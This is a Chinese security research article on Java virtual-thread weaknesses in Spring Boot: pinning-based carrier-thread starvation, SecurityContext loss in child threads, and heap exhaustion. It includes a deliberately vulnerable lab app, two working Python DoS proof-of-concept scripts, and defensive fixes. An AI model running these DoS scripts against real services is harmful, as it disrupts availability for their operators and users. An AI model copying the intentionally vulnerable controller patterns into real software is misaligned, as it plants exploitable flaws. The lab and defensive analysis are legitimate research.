Pinning, 越权, OOM:Virtual Thread 安全模型的三重缺陷
漏洞分析
基于synchronized Pinning的Carrier Thread池饥饿型DoS、SecurityContext跨虚拟线程传播断裂导致的越权、以及无限虚拟线程创建引发的堆内存耗尽。
01 Virtual Thread ----------------- Virtual Thread的设计初衷是解决"thread-per-request"模型的伸缩性瓶颈。传统平台线程(Platform Thread)直接映射为操作系统线程,创建成本高(默认栈空间512KB-1MB),在高并发场景下线程数受限于系统资源。虚拟线程通过将线程调度从OS层面提升到JVM层面,使得单个JVM进程可以承载数百万个并发任务。 02 技术背景:虚拟线程调度模型 ---------------- ### 2.1 M:N线程模型与挂载/卸载机制 虚拟线程采用经典的M:N线程模型——M个虚拟线程由N个平台线程(称为Carrier Thread,载体线程)承载。其核心调度逻辑可从`java.lang.VirtualThread`源码中清晰追溯: #### VirtualThread.java — 挂载/卸载核心流程 ```php // 挂载(Mount):虚拟线程绑定到载体线程 private void mount() { Thread carrier = Thread.currentCarrierThread(); this.carrierThread = carrier; // 关键:将 Thread.currentThread() 的返回值切换为虚拟线程自身 carrier.setCurrentThread(this); } // 卸载(Unmount):虚拟线程从载体线程分离 private void unmount() { Thread carrier = this.carrierThread; // 恢复载体线程身份 carrier.setCurrentThread(carrier); synchronized (interruptLock) { this.carrierThread = null; } } // Yield尝试:若失败则触发Pinning private boolean yieldContinuation() { unmount(); boolean yielded = Continuation.yield(VTHREAD_SCOPE); // 若 yielded == false,说明发生了Pinning mount(); // 重新挂载(无论yield是否成功) return yielded; } ``` 当虚拟线程执行阻塞操作(如I/O、`LockSupport.park()`)时,JVM会尝试通过`Continuation.yield()`将其从载体线程上卸载,释放载体线程去服务其他虚拟线程。这正是虚拟线程高效利用系统资源的核心机制。 ### 2.2 Carrier Thread池参数 载体线程池是一个专用的`ForkJoinPool`实例,其默认参数在`VirtualThread.createDefaultScheduler()`中定义: | | | | | |---|---|---|---| | 参数 | 系统属性 | 默认值 | 安全含义 | | parallelism | jdk.virtualThreadScheduler.parallelism | CPU核心数 | 决定正常情况下的载体线程数 | | maxPoolSize | jdk.virtualThreadScheduler.maxPoolSize | max(parallelism, 256) | Pinning时的补偿线程上限 | | minRunnable | jdk.virtualThreadScheduler.minRunnable | max(parallelism/2, 1) | 保证最低可运行载体线程数 | ### 2.3 Pinning机制:虚拟线程的阿喀琉斯之踵 Pinning(钉住)发生在虚拟线程无法从载体线程上卸载的场景。`jdk.internal.vm.Continuation`中定义了三种Pinning原因: | | | |---|---| | Pinning类型 | 触发条件 | | MONITOR | 虚拟线程持有对象监视器锁(处于synchronized块/方法内) | | NATIVE | 栈帧中包含JNI或Foreign Function调用 | | CRITICAL\_SECTION | JVM内部临界区 | 当Pinning发生且虚拟线程尝试阻塞时,载体线程会直接调用`Unsafe.park()`阻塞自身——此时载体线程完全被占用,退化为传统的"一个请求占一个线程"的模型。 #### VirtualThread.java — Pinning时的降级逻辑 ```php // 当 yieldContinuation() 返回 false 时执行 private void parkOnCarrierThread() { // 虚拟线程状态设置为 PINNED (6) setState(PINNED); // 直接阻塞底层操作系统线程! U.park(false, 0L); // 阻塞解除后恢复运行状态 setState(RUNNING); } ```  Pinning 触发条件: synchronized (MONITOR) | JNI/FFM (NATIVE) | JVM 临界区 (CRITICAL\_SECTION) 当被 Pinning 的线程数 > maxPoolSize (默认 256) 时,虚拟线程调度停止 → DoS 03 Carrier Thread饥饿型DoS ----------------------- ### 攻击原理 攻击的核心逻辑极为简洁:找到目标应用中在`synchronized`块内执行阻塞I/O的代码路径,然后发送大量并发请求触发该路径。每个请求会将一个虚拟线程钉在载体线程上,当被钉住的线程数超过`maxPoolSize`(默认256)时,整个虚拟线程调度器将停止工作——所有新请求无法被处理。 在实际Java生态中,`synchronized`块内包含阻塞操作的情况极为常见: #### JDBC驱动层 大部分JDBC驱动的连接管理、Statement执行内部使用synchronized。例如MySQL Connector/J的`ConnectionImpl`中多处synchronized方法包含网络I/O。 #### 连接池实现 HikariCP在获取连接时的`ConcurrentBag.borrow()`虽然使用了CAS,但底层driver的`isValid()`检测仍可能进入synchronized路径。 #### 日志框架 Logback的`OutputStreamAppender.writeOut()`使用synchronized保护输出流写入,在高吞吐场景下构成pinning热点。 #### 遗留IO流 尽管JDK 21重构了部分IO类,但`java.io.PrintStream`的`write()`方法仍使用synchronized(已在后续版本改进)。 04 SecurityContext传播断裂 ---------------------- ### 4.1 传播语义的致命变化 Spring Security的`SecurityContextHolder`默认使用`MODE_THREADLOCAL`策略,将安全上下文存储在`ThreadLocal`中。在传统平台线程模型下,这是安全可靠的——请求处理线程在请求结束时通过`SecurityContextPersistenceFilter`清理上下文。 虚拟线程模型引入了一个微妙但危险的变化:当请求处理虚拟线程内部通过`@Async`、`CompletableFuture.supplyAsync()`或`Executors.newVirtualThreadPerTaskExecutor()`创建子虚拟线程时,子线程的ThreadLocal是全新的空白状态——SecurityContext不会自动传播。 #### 典型漏洞模式 — 子虚拟线程丢失安全上下文 ```php @RestController public class OrderController { @GetMapping("/api/orders/{id}") public Order getOrder(@PathVariable Long id) { // 此处 SecurityContext 正常存在(请求线程的ThreadLocal) Authentication auth = SecurityContextHolder.getContext() .getAuthentication(); // ✓ 正常 // 开发者创建子虚拟线程进行"并行查询优化" CompletableFuture<AuditLog> auditFuture = CompletableFuture.supplyAsync(() -> { // 此处 SecurityContext 为 null! Authentication inner = SecurityContextHolder.getContext() .getAuthentication(); // 返回 null // 若此处的鉴权检查写法为: if (inner == null || inner.getAuthorities().stream() .noneMatch(a -> a.getAuthority().equals("ROLE_ADMIN"))) { // 开发者预期:非管理员被拒绝 // 实际情况:inner 为 null,直接抛出 NPE // 若捕获异常后走了fallback逻辑,可能绕过鉴权 } return auditService.getLog(id); }, virtualExecutor); return orderService.findById(id); } } ``` ### 4.2 三种可能的越权路径 | | | |---|---| | 场景 | 触发条件 | | NPE导致的fallback绕过 | 子线程鉴权代码因SecurityContext为null抛出NPE,被catch后执行了默认允许的fallback逻辑 | | Spring Method Security失效 | 子线程中调用`@PreAuthorize`注解的方法,因无SecurityContext导致SpEL表达式评估异常 | | 审计日志身份缺失 | 子线程写入审计日志时无法获取当前用户身份,记录为anonymous | 虚拟线程不存在线程池复用导致的上下文"泄漏"问题(即线程A的安全上下文残留到线程B的请求)——因为虚拟线程是一次性的,不存在池化复用。安全风险方向从"泄漏"变为了"丢失"。 05 无限虚拟线程创建与堆内存耗尽 ----------------- ### 消失的天然屏障 传统Tomcat模型中,`server.tomcat.threads.max=200`是一道天然的准入控制屏障——无论收到多少请求,最多同时处理200个。这并非有意为之的安全机制,但客观上起到了限流作用。 启用虚拟线程后,Spring Boot将Tomcat的线程执行器替换为基于虚拟线程的实现,线程池大小参数不再生效。每个HTTP请求都会创建一个新的虚拟线程——理论上没有上限。 Spring Boot 虚拟线程启用后的变化 ```php # application.yml spring: threads: virtual: enabled: true # 启用虚拟线程 server: tomcat: threads: max: 200 # 此参数在虚拟线程模式下被忽略 min-spare: 10 # 同样被忽略 ``` 量化估算:在典型的Spring Boot Web应用中(经过Filter链、DispatcherServlet、Controller、Service、Repository的调用栈),单个请求处理虚拟线程的栈帧约占用5-20KB堆空间。若每个请求还持有ThreadLocal中的Session对象、MDC日志上下文等,实际内存开销可达50-100KB/线程。4GB堆内存(`-Xmx4g`)/ 100KB每线程 ≈ 40,000个并发虚拟线程即可触发GC压力。若配合Slowloris保持每个虚拟线程长时间存活,实际触发OOM所需并发数远低于此。 06 靶场搭建 ------- ### 6.1 实验环境 | | | | |---|---|---| | 组件 | 版本 / 配置 | 角色 | | 攻击机 | Kali Linux 2026.1 | PoC执行、渗透测试 | | 靶机JDK | OpenJDK 21.0.4+ | 运行时环境 | | 靶机框架 | Spring Boot 3.2.5 | 目标应用 | | 构建工具 | Maven 3.9+ | 项目构建 | | 监控工具 | VisualVM / JFR / async-profiler | 观测Carrier Thread状态 | | 压测工具 | wrk / Apache Bench / Python asyncio | 并发请求生成 | ### 6.2 靶场项目结构  #### pom.xml ```php <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>3.2.5</version> </parent> <properties> <java.version>21</java.version> </properties> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-security</artifactId> </dependency> </dependencies> ``` 创建配置文件 `src/main/resources/application.yml`: ```php spring: threads: virtual: enabled: true security: user: name: admin password: admin123 server: port: 8080 tomcat: connection-timeout: 60s logging: level: root: INFO ``` 创建启动类 `src/main/java/com/example/vuln/VulnApplication.java`: ```php package com.example.vuln; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class VulnApplication { public static void main(String[] args) { SpringApplication.run(VulnApplication.class, args); } } ``` 创建漏洞控制器 `src/main/java/com/example/vuln/VulnController.java` ```php package com.example.vuln; import org.springframework.security.core.Authentication; import org.springframework.security.core.context.SecurityContextHolder; import org.springframework.web.bind.annotation.*; import java.util.Map; import java.util.concurrent.*; @RestController @RequestMapping("/api") public class VulnController { private final Object monitor = new Object(); /** * 攻击面一:synchronized块内阻塞 → Carrier Thread Pinning * 模拟JDBC驱动中常见的synchronized + 网络I/O模式 */ @GetMapping("/pinning") public String triggerPinning() { synchronized (monitor) { try { // 模拟JDBC查询:synchronized块内的阻塞操作 Thread.sleep(5000); } catch (InterruptedException e) { Thread.currentThread().interrupt(); } } return "OK"; } /** * 攻击面二:子虚拟线程SecurityContext丢失 * 模拟"并行查询优化"场景 */ @GetMapping("/context-loss") public Map<String, Object> contextLoss() { Authentication parentAuth = SecurityContextHolder.getContext() .getAuthentication(); try (var executor = Executors.newVirtualThreadPerTaskExecutor()) { Future<String> future = executor.submit(() -> { Authentication childAuth = SecurityContextHolder.getContext() .getAuthentication(); return childAuth != null ? childAuth.getName() : "NULL — 安全上下文丢失!"; }); return Map.of( "parentThread", Thread.currentThread().toString(), "parentUser", parentAuth != null ? parentAuth.getName() : "null", "childUser", future.get(5, TimeUnit.SECONDS) ); } catch (Exception e) { return Map.of("error", e.getMessage()); } } /** * 攻击面三:每请求创建虚拟线程 + 慢处理 → 堆耗尽 * 模拟处理耗时的API端点 */ @GetMapping("/slow") public String slowEndpoint() throws InterruptedException { // 模拟慢速数据库查询或外部API调用 byte[] payload = new byte[1024 * 50]; // 50KB 模拟请求上下文数据 Thread.sleep(30000); // 30秒慢处理 return "Done: " + payload.length; } } ``` 创建安全配置 `src/main/java/com/example/vuln/SecurityConfig.java`: ```php package com.example.vuln; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.security.config.Customizer; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; import org.springframework.security.web.SecurityFilterChain; @Configuration @EnableWebSecurity public class SecurityConfig { @Bean public SecurityFilterChain filterChain(HttpSecurity http) throws Exception { http .authorizeHttpRequests(auth -> auth .requestMatchers("/api/pinning", "/api/slow") .permitAll() // DoS端点无需认证(模拟公开接口) .anyRequest().authenticated() ) .httpBasic(Customizer.withDefaults()) .csrf(csrf -> csrf.disable()); return http.build(); } } ``` ### 6.3 构建并启动靶场 #### 构建 ```php mvn clean package -DskipTests ```  #### 启动 ```php java \ -Xmx4g \ -Djdk.tracePinnedThreads=full \ -Djdk.virtualThreadScheduler.parallelism=4 \ -Djdk.virtualThreadScheduler.maxPoolSize=8 \ -jar target/vuln-app.jar ```  确认三条攻击路径已就绪  简接验证了攻击面二:  用 `admin:admin123` 登录了,父线程能识别你是 `admin`,但它创建的子虚拟线程中 `SecurityContext` 为空。这说明 不需要任何攻击脚本,靶场启动后这个漏洞就已经存在。 07 三条攻击链验证 ---------- ### 7.1 PoC-1:Carrier Thread饥饿攻击 #### carrier\_starve.py ```php #!/usr/bin/env python3 """ Carrier Thread Starvation PoC 目标:耗尽目标应用的Carrier Thread池,导致全面DoS 环境:Kali Linux / Python 3.12+ """ import asyncio import aiohttp import time TARGET = "http://localhost:8080" PINNING_URL = f"{TARGET}/api/pinning" CONCURRENT = 20 # 并发连接数(需 > maxPoolSize=8) async def pin_carrier(session, idx): """发送请求触发pinning,占用一个Carrier Thread""" try: async with session.get(PINNING_URL, timeout=aiohttp.ClientTimeout(total=60)) as resp: status = resp.status print(f" [PIN-{idx:03d}] 状态={status}") except Exception as e: print(f" [PIN-{idx:03d}] 超时/错误: {e}") async def health_check(session): """检测目标服务是否仍能响应新请求""" try: start = time.time() async with session.get( f"{TARGET}/api/pinning", timeout=aiohttp.ClientTimeout(total=10) ) as resp: elapsed = time.time() - start print(f" [HEALTH] 响应={resp.status}, 耗时={elapsed:.2f}s") return True except: print(" [HEALTH] 服务无响应 — DoS成功!") return False async def main(): print("[*] Carrier Thread Starvation PoC") print(f"[*] 目标: {TARGET}") print(f"[*] 并发数: {CONCURRENT}") print() connector = aiohttp.TCPConnector(limit=0, force_close=False) async with aiohttp.ClientSession(connector=connector) as session: # Phase 1: 确认目标可达 print("[Phase 1] 验证目标可达性...") if not await health_check(session): print("[!] 目标不可达,退出") return # Phase 2: 发送大量pinning请求 print(f"\n[Phase 2] 发送 {CONCURRENT} 个pinning请求...") tasks = [pin_carrier(session, i) for i in range(CONCURRENT)] pinning_task = asyncio.gather(*tasks, return_exceptions=True) # Phase 3: 等待2秒后检测服务可用性 await asyncio.sleep(2) print("\n[Phase 3] 检测服务可用性...") for i in range(5): available = await health_check(session) if not available: print(f"\n[+] 第{i+1}次检测确认: 目标服务已瘫痪") print("[+] Carrier Thread池已被耗尽") break await asyncio.sleep(1) await pinning_task if __name__ == "__main__": asyncio.run(main()) ``` #### 安装依赖 ```php pip3 install aiohttp ```  ```php python3 carrier_starve.py ```  ### 7.2 PoC-2:SecurityContext断裂验证 ```php curl -u admin:admin123 http://localhost:8080/api/context-loss | python3 -m json.tool ```  ```php { "parentUser": "admin", ← 父虚拟线程:正确识别身份 "childUser": "NULL — 安全上下文丢失!", ← 子虚拟线程:身份丢失 "parentThread": "VirtualThread[#80,tomcat-handler-37]/runnable@ForkJoinPool-1-worker-9" } ``` 父虚拟线程(处理HTTP请求)正确持有`admin`的SecurityContext,但通过`Executors.newVirtualThreadPerTaskExecutor()`创建的子虚拟线程中SecurityContext为null。 这证实了ThreadLocal不跨虚拟线程传播的行为。 ### 7.3 PoC-3:虚拟线程堆耗尽攻击 #### heap\_exhaust.py ```php #!/usr/bin/env python3 """ Virtual Thread Heap Exhaustion PoC 利用无池化限制 + 慢请求耗尽堆内存 注意:执行前需用 -Xmx512m 重启靶场以加速OOM效果 """ import asyncio import aiohttp import time TARGET = "http://localhost:8080/api/slow" BATCH_SIZE = 500 # 每批并发数 TOTAL_BATCHES = 20 # 总批次(共10,000个长连接) BATCH_INTERVAL = 0.5 # 批次间隔(秒) async def slow_request(session, idx): try: async with session.get( TARGET, timeout=aiohttp.ClientTimeout(total=120) ) as resp: await resp.read() except: pass async def main(): print("[*] Virtual Thread Heap Exhaustion PoC") print(f"[*] 目标: {TARGET}") print(f"[*] 计划发送: {BATCH_SIZE * TOTAL_BATCHES} 个慢请求") print() all_tasks = [] connector = aiohttp.TCPConnector(limit=0) async with aiohttp.ClientSession(connector=connector) as session: for batch in range(TOTAL_BATCHES): tasks = [ asyncio.create_task(slow_request(session, batch * BATCH_SIZE + i)) for i in range(BATCH_SIZE) ] all_tasks.extend(tasks) active = sum(1 for t in all_tasks if not t.done()) print(f" [Batch {batch+1:02d}/{TOTAL_BATCHES}]" f" 已发送={len(all_tasks)}, 活跃={active}") await asyncio.sleep(BATCH_INTERVAL) print("\n[*] 等待观察OOM效果...") await asyncio.gather(*all_tasks, return_exceptions=True) if __name__ == "__main__": asyncio.run(main()) ``` 每批 500 个慢请求(sleep 30s)创建 500 个虚拟线程,全部存活,堆内存线性消耗。  第 4 批时活跃数从 1500 仅增加了 14 个就停住了。这说明 在第 ~1514 个虚拟线程时,512MB 堆内存耗尽。之后发送的 8486 个请求全部失败——JVM 无法再创建新的虚拟线程。 08 防御方案与加固建议 ------------ ### 8.1 Carrier Thread饥饿防御 #### 策略一:消除Pinning源 将synchronized替换为ReentrantLock ```php // 会导致Pinning synchronized (lock) { connection.executeQuery(sql); } // ReentrantLock与虚拟线程兼容 private final ReentrantLock lock = new ReentrantLock(); lock.lock(); try { connection.executeQuery(sql); } finally { lock.unlock(); } ``` #### 策略二:JFR监控 + 告警 JFR Pinning事件监控 ```php # 启动时开启JFR记录 java -XX:StartFlightRecording=\ name=pinning,\ settings=profile,\ filename=pinning.jfr \ -jar app.jar # 分析Pinning事件 jfr print \ --events jdk.VirtualThreadPinned \ pinning.jfr ``` ### 8.2 SecurityContext传播修复 ```php @Configuration public class VirtualThreadSecurityConfig { /** * 方案一:使用DelegatingSecurityContextExecutor包装 * 在创建子虚拟线程时自动传播SecurityContext */ @Bean("secureVirtualExecutor") public Executor secureVirtualExecutor() { Executor base = Executors.newVirtualThreadPerTaskExecutor(); return new DelegatingSecurityContextExecutor(base); } /** * 方案二:手动传播(适用于CompletableFuture场景) */ public static <T> Supplier<T> withSecurityContext(Supplier<T> supplier) { SecurityContext ctx = SecurityContextHolder.getContext(); return () -> { SecurityContext prev = SecurityContextHolder.getContext(); SecurityContextHolder.setContext(ctx); try { return supplier.get(); } finally { SecurityContextHolder.setContext(prev); } }; } } // 使用示例 CompletableFuture.supplyAsync( VirtualThreadSecurityConfig.withSecurityContext( () -> sensitiveService.getData() ), secureVirtualExecutor ); ``` ### 8.3 虚拟线程准入控制 ```php @Component public class ConcurrencyLimitFilter implements Filter { // 最大并发虚拟线程数 — 替代原有线程池大小的限流作用 private final Semaphore semaphore = new Semaphore(1000); @Override public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException { if (!semaphore.tryAcquire(100, TimeUnit.MILLISECONDS)) { ((HttpServletResponse) resp).setStatus(503); resp.getWriter().write("{\"error\":\"Server busy\"}"); return; } try { chain.doFilter(req, resp); } finally { semaphore.release(); } } } ``` 结语 -- 虚拟线程引入的三个攻击面各有特点: - Carrier Thread饥饿攻击利用了JVM调度器的固有设计约束,技术门槛低但破坏力大; - SecurityContext传播断裂属于编程模型迁移中的语义陷阱; - 堆内存耗尽则暴露了从"有限线程池"到"无限虚拟线程"范式转变中,旧有的隐式限流机制失效的问题。 在启用`spring.threads.virtual.enabled=true`之前,需要系统性地评估应用的synchronized使用情况、安全上下文传播链路以及并发准入控制机制。 实验环境仅用于安全研究目的,请遵守法律法规。
发表于 2026-06-11 09:00:00
阅读 ( 1284 )
分类:
WEB安全
2 推荐
收藏
0 条评论
Dracarys
2 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!